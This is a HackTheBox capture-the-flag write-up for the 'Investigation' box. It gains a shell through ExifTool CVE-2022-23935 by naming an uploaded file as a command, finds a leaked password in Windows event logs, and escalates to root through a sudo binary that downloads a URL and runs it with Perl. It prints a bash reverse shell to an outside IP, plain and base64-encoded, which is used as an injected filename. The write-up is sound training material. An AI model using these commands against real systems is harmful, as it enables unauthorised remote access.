HackTheBox "Investigation"
April 19th, 2023
Introduction
Investigation is a medium box released on January 21st, 2023 by Derezzed.
User Own
Nmap scan:
The website has a file upload that will take an image file and return a text file of the detailed contents of the uploaded image.
According to the output, the tool used to gather the image details is ExifTool 12.37. This version of ExifTool is vulnerable to CVE-2022-23935. We can rename a .jpg or .png file to be a command that would give us a reverse shell, like bash -i >& /dev/tcp/10.0.x.x/1234 0>&1, but we can't have forward slashes in the filename. We can bypass this issue by encoding the reverse shell in Base64, and then decoding on the machine using the command echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLngueC8xMjM0IDA+JjE= | base64 -d | bash |. The Base64 encoded string contains the bash reverse shell that the server will run when the image is uploaded.
After gaining a reverse shell, we are logged in as www-data. Checking /etc/passwd reveals one user named smorton. Attempting to find anything owned by smorton reveals a .msg file.
We can download this file by using the command cp "Windows Event Logs for Analysis.msg" /var/www/html/analysed_images/w.msg and then going to the link http://eforenzics.htb/analysed_images/w.msg.
This .msg file is supposed to be opened with Outlook. We can convert this to a .eml with msgconvert and open it in Thunderbird.
Attached to this email is evtx-logs.zip. Inside is security.evtx. The file format .evtx is a Microsoft Windows event log, which can be opened with Event Viewer in Windows.
From HackTricks, security logs can contain useful artifacts. Filtering the log with event ID 4625, we can see when someone tried to login but failed.
This log shows that someone accidentally used their password as their username. Logs afterward show that the user SMorton logged in successfully shortly after the failed login attempt, which means the password most likely belongs to him. Using the password Def@ultf0r3nz!csPa$$ to login to smorton through SSH gets us in, which gets us the user.txt flag.
System Own
sudo -l reveals:
Running /usr/bin/binary doesn't seem to do anything:
Let's get this binary file for decompilation.
We can use a simple decompiler like Decompiler Explorer to see our code. The most accurate code output is from BinaryNinja:
The program has a couple checks to make sure we use it correctly.
Firstly, the program checks if we have 3 arguments at line 3. If we don't have 3 arguments, we cannot pass. We would get pass this check by doing sudo /usr/bin/binary arg2 arg3. The first argument in C is always the program itself.
Secondly, The program checks if our user ID is 0 at line 9. Since we are using sudo, we automatically pass this check (root's user ID is 0).
Thirdly, the program checks if our third argument equals lDnxUysaQn at line 15. Our statement now looks like sudo /usr/bin/binary arg2 lDnxUysaQn.
After all these checks, the program initializes cURL at line 23 and sets the URL as the second argument at line 25. It then retrieves the file from the specified URL at line 30 and writes it to a temporary file called lDnxUysaQn. The program then runs this file with Perl as root at line 45. This means we can feed this program a Perl reverse shell as the first argument and get in as root.
And that's the box!
Last updated